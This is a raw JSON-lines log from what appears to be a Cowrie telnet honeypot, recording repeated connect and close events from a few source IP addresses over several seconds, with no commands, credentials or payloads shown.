{"eventid":"cowrie.session.closed","duration":30.980988025665283,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:22.939634Z","src_ip":"104.167.8.156","session":"57b658e0d0e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.221909761428833,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.026696Z","src_ip":"104.167.8.156","session":"a37dd82a6d69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.585737943649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.193686Z","src_ip":"108.61.251.217","session":"fb77565af855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49091,"dst_ip":"10.17.0.5","dst_port":23,"session":"e531deb36d79","protocol":"telnet","message":"New connection: 104.167.8.156:49091 (10.17.0.5:23) [session: e531deb36d79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.212421Z"}
{"eventid":"cowrie.session.closed","duration":31.25704288482666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.261487Z","src_ip":"104.167.8.156","session":"8857f82c7182","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49528,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ce3908be46b","protocol":"telnet","message":"New connection: 104.167.8.156:49528 (10.17.0.5:23) [session: 1ce3908be46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.313156Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39842,"dst_ip":"10.17.0.5","dst_port":23,"session":"f485f1500f42","protocol":"telnet","message":"New connection: 108.61.251.217:39842 (10.17.0.5:23) [session: f485f1500f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.329850Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":50296,"dst_ip":"10.17.0.5","dst_port":23,"session":"48bf8d6dca62","protocol":"telnet","message":"New connection: 104.167.8.156:50296 (10.17.0.5:23) [session: 48bf8d6dca62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.521098Z"}
{"eventid":"cowrie.session.closed","duration":31.069987297058105,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.566929Z","src_ip":"104.167.8.156","session":"12dc736d8158","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41112,"dst_ip":"10.17.0.5","dst_port":23,"session":"953912b6994a","protocol":"telnet","message":"New connection: 188.208.141.113:41112 (10.17.0.5:23) [session: 953912b6994a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.585934Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41116,"dst_ip":"10.17.0.5","dst_port":23,"session":"327327b2f94b","protocol":"telnet","message":"New connection: 188.208.141.113:41116 (10.17.0.5:23) [session: 327327b2f94b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.716909Z"}
{"eventid":"cowrie.session.closed","duration":31.103479146957397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:23.882110Z","src_ip":"108.61.251.217","session":"f0749e9f83ee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840347051620483,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.038924Z","src_ip":"104.167.8.156","session":"9620bb931258","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43001651763916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.045548Z","src_ip":"104.167.8.156","session":"d54c8dd10850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":45748,"dst_ip":"10.17.0.5","dst_port":23,"session":"150eef67c8a9","protocol":"telnet","message":"New connection: 104.167.8.156:45748 (10.17.0.5:23) [session: 150eef67c8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.131401Z"}
{"eventid":"cowrie.session.closed","duration":30.38127827644348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.178262Z","src_ip":"108.61.251.217","session":"3ab48a8d0d9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69783353805542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.316987Z","src_ip":"104.167.8.156","session":"e39d7a1a7a25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.26282501220703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.383557Z","src_ip":"104.167.8.156","session":"bcc6590b056c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56462,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc0125a02513","protocol":"telnet","message":"New connection: 104.167.8.156:56462 (10.17.0.5:23) [session: dc0125a02513]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.401860Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":56546,"dst_ip":"10.17.0.5","dst_port":23,"session":"9bd783826382","protocol":"telnet","message":"New connection: 104.167.8.156:56546 (10.17.0.5:23) [session: 9bd783826382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.437173Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57090,"dst_ip":"10.17.0.5","dst_port":23,"session":"9326318107e7","protocol":"telnet","message":"New connection: 104.167.8.156:57090 (10.17.0.5:23) [session: 9326318107e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.612063Z"}
{"eventid":"cowrie.session.closed","duration":31.265771627426147,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.642632Z","src_ip":"108.61.251.217","session":"5eadc0365189","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":41118,"dst_ip":"10.17.0.5","dst_port":23,"session":"3eed5f71ffdd","protocol":"telnet","message":"New connection: 188.208.141.113:41118 (10.17.0.5:23) [session: 3eed5f71ffdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.713974Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57386,"dst_ip":"10.17.0.5","dst_port":23,"session":"db25a5929037","protocol":"telnet","message":"New connection: 104.167.8.156:57386 (10.17.0.5:23) [session: db25a5929037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.724650Z"}
{"eventid":"cowrie.session.closed","duration":45.35143828392029,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.757629Z","src_ip":"188.208.141.113","session":"7d15a0f890c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":57540,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0edf987121e","protocol":"telnet","message":"New connection: 104.167.8.156:57540 (10.17.0.5:23) [session: d0edf987121e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.777251Z"}
{"eventid":"cowrie.session.closed","duration":31.28740096092224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.908784Z","src_ip":"104.167.8.156","session":"ad77340604c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39848,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdb972df86af","protocol":"telnet","message":"New connection: 108.61.251.217:39848 (10.17.0.5:23) [session: fdb972df86af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:24.995096Z"}
{"eventid":"cowrie.session.closed","duration":30.946288585662842,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.042611Z","src_ip":"104.167.8.156","session":"bc7808648936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39445471763611,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.111471Z","src_ip":"108.61.251.217","session":"420d9bb675c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":39864,"dst_ip":"10.17.0.5","dst_port":23,"session":"19b4da15e7ca","protocol":"telnet","message":"New connection: 108.61.251.217:39864 (10.17.0.5:23) [session: 19b4da15e7ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.121433Z"}
{"eventid":"cowrie.session.closed","duration":30.35719919204712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.146076Z","src_ip":"108.61.251.217","session":"f137e38511a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01881217956543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.166570Z","src_ip":"108.61.251.217","session":"5f1c6c04fafe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":47176,"dst_ip":"159.203.135.109","dst_port":23,"session":"fedea46f8673","protocol":"telnet","message":"New connection: 64.227.9.242:47176 (159.203.135.109:23) [session: fedea46f8673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.211582Z"}
{"eventid":"cowrie.session.closed","duration":47.94329214096069,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.256525Z","src_ip":"188.208.141.113","session":"66cce9c3b815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.43597722053528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.275671Z","src_ip":"104.167.8.156","session":"2f8ce59c6a70","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.96637797355652,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.310505Z","src_ip":"104.167.8.156","session":"46d2b9e7e3e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59392,"dst_ip":"10.17.0.5","dst_port":23,"session":"2be90e8c3bc2","protocol":"telnet","message":"New connection: 104.167.8.156:59392 (10.17.0.5:23) [session: 2be90e8c3bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.343576Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":49842,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55d40aa305f","protocol":"telnet","message":"New connection: 104.167.8.156:49842 (10.17.0.5:23) [session: c55d40aa305f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.385224Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":51476,"dst_ip":"159.203.135.109","dst_port":23,"session":"add0e6276e97","protocol":"telnet","message":"New connection: 98.70.41.28:51476 (159.203.135.109:23) [session: add0e6276e97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.412240Z"}
{"eventid":"cowrie.session.closed","duration":30.868378162384033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.429063Z","src_ip":"104.167.8.156","session":"1c0d70dd5f53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.337210178375244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.573352Z","src_ip":"104.167.8.156","session":"06f86ff0baff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.66094756126404,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.769330Z","src_ip":"188.208.141.113","session":"4dca1b751a11","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7475905418396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.800136Z","src_ip":"104.167.8.156","session":"517c7b43fd12","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48810,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4470bdbc909","protocol":"telnet","message":"New connection: 108.61.251.217:48810 (10.17.0.5:23) [session: a4470bdbc909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:25.908217Z"}
{"eventid":"cowrie.session.closed","duration":31.2089900970459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.024073Z","src_ip":"104.167.8.156","session":"3130ceecf74e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699069261550903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.039904Z","src_ip":"104.167.8.156","session":"5601c432bfcd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783939838409424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.104983Z","src_ip":"104.167.8.156","session":"93d9c93b4335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":51462,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c17a8dcdd23","protocol":"telnet","message":"New connection: 98.70.41.28:51462 (159.203.135.109:23) [session: 4c17a8dcdd23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.134279Z"}
{"eventid":"cowrie.session.closed","duration":31.125513076782227,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.327691Z","src_ip":"104.167.8.156","session":"f2ee73819c1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59416,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfaa51179b9a","protocol":"telnet","message":"New connection: 104.167.8.156:59416 (10.17.0.5:23) [session: cfaa51179b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.352459Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":59477,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf6cce4bdf70","protocol":"telnet","message":"New connection: 104.167.8.156:59477 (10.17.0.5:23) [session: cf6cce4bdf70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.379028Z"}
{"eventid":"cowrie.session.closed","duration":43.88330626487732,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.675704Z","src_ip":"188.208.141.113","session":"3133074ccdce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":51484,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1c80d035a3","protocol":"telnet","message":"New connection: 98.70.41.28:51484 (159.203.135.109:23) [session: 4e1c80d035a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.711066Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":54730,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecca4b13c8c9","protocol":"telnet","message":"New connection: 104.167.8.156:54730 (10.17.0.5:23) [session: ecca4b13c8c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.845213Z"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.41.28","src_port":51492,"dst_ip":"159.203.135.109","dst_port":23,"session":"51fb62554419","protocol":"telnet","message":"New connection: 98.70.41.28:51492 (159.203.135.109:23) [session: 51fb62554419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.890864Z"}
{"eventid":"cowrie.session.closed","duration":31.50867009162903,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.901356Z","src_ip":"104.167.8.156","session":"1ceb0e32b3fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.67068386077881,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.983512Z","src_ip":"104.167.8.156","session":"a6a8dbde70ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":55170,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb3aa5d1fd25","protocol":"telnet","message":"New connection: 104.167.8.156:55170 (10.17.0.5:23) [session: cb3aa5d1fd25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:26.992955Z"}
{"eventid":"cowrie.session.closed","duration":31.034510374069214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.027088Z","src_ip":"104.167.8.156","session":"f8bca4a745c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.1034197807312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.048981Z","src_ip":"104.167.8.156","session":"621df9213daf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.764922857284546,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.119022Z","src_ip":"104.167.8.156","session":"a41634212804","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":36904,"dst_ip":"10.17.0.5","dst_port":23,"session":"69dcd1bf4846","protocol":"telnet","message":"New connection: 104.167.8.156:36904 (10.17.0.5:23) [session: 69dcd1bf4846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.235993Z"}
{"eventid":"cowrie.session.closed","duration":30.87267255783081,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.266659Z","src_ip":"104.167.8.156","session":"a2da81f03cb7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.278122425079346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.404635Z","src_ip":"108.61.251.217","session":"0e0dd8b1341e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72128915786743,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.508173Z","src_ip":"104.167.8.156","session":"21c3edea4ddd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48814,"dst_ip":"10.17.0.5","dst_port":23,"session":"f289e7bb7d84","protocol":"telnet","message":"New connection: 108.61.251.217:48814 (10.17.0.5:23) [session: f289e7bb7d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.883820Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38852,"dst_ip":"10.17.0.5","dst_port":23,"session":"861f5574dafc","protocol":"telnet","message":"New connection: 104.167.8.156:38852 (10.17.0.5:23) [session: 861f5574dafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.892735Z"}
{"eventid":"cowrie.session.closed","duration":31.038825750350952,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.987841Z","src_ip":"104.167.8.156","session":"8c3c69f0a5dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.251.217","src_port":48830,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb6e68b5d671","protocol":"telnet","message":"New connection: 108.61.251.217:48830 (10.17.0.5:23) [session: cb6e68b5d671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:27.998294Z"}
{"eventid":"cowrie.session.closed","duration":35.10540294647217,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.022126Z","src_ip":"64.227.9.242","session":"7606398fc26a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.391452074050903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.091920Z","src_ip":"104.167.8.156","session":"15f31e61f42e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39376,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf6cfad3f2fd","protocol":"telnet","message":"New connection: 104.167.8.156:39376 (10.17.0.5:23) [session: bf6cfad3f2fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.100966Z"}
{"eventid":"cowrie.session.closed","duration":30.941836833953857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.150560Z","src_ip":"104.167.8.156","session":"750f07460984","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39764,"dst_ip":"10.17.0.5","dst_port":23,"session":"07eee5a24544","protocol":"telnet","message":"New connection: 104.167.8.156:39764 (10.17.0.5:23) [session: 07eee5a24544]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.202764Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":39872,"dst_ip":"10.17.0.5","dst_port":23,"session":"bffa71daf0ea","protocol":"telnet","message":"New connection: 104.167.8.156:39872 (10.17.0.5:23) [session: bffa71daf0ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.226063Z"}
{"eventid":"cowrie.session.closed","duration":31.066184520721436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.259070Z","src_ip":"108.61.251.217","session":"159042277f00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.54173755645752,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.280621Z","src_ip":"108.61.251.217","session":"d1d7ab6ec165","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.77937078475952,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.467928Z","src_ip":"104.167.8.156","session":"65678d0f9da2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58753776550293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.527492Z","src_ip":"108.61.251.217","session":"553207e5565c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":37974,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ccc051f6928","protocol":"telnet","message":"New connection: 104.167.8.156:37974 (10.17.0.5:23) [session: 0ccc051f6928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.581190Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":38286,"dst_ip":"10.17.0.5","dst_port":23,"session":"1303bea973b3","protocol":"telnet","message":"New connection: 104.167.8.156:38286 (10.17.0.5:23) [session: 1303bea973b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.672815Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.167.8.156","src_port":41712,"dst_ip":"10.17.0.5","dst_port":23,"session":"0750608b7399","protocol":"telnet","message":"New connection: 104.167.8.156:41712 (10.17.0.5:23) [session: 0750608b7399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:40:28.744062Z"}
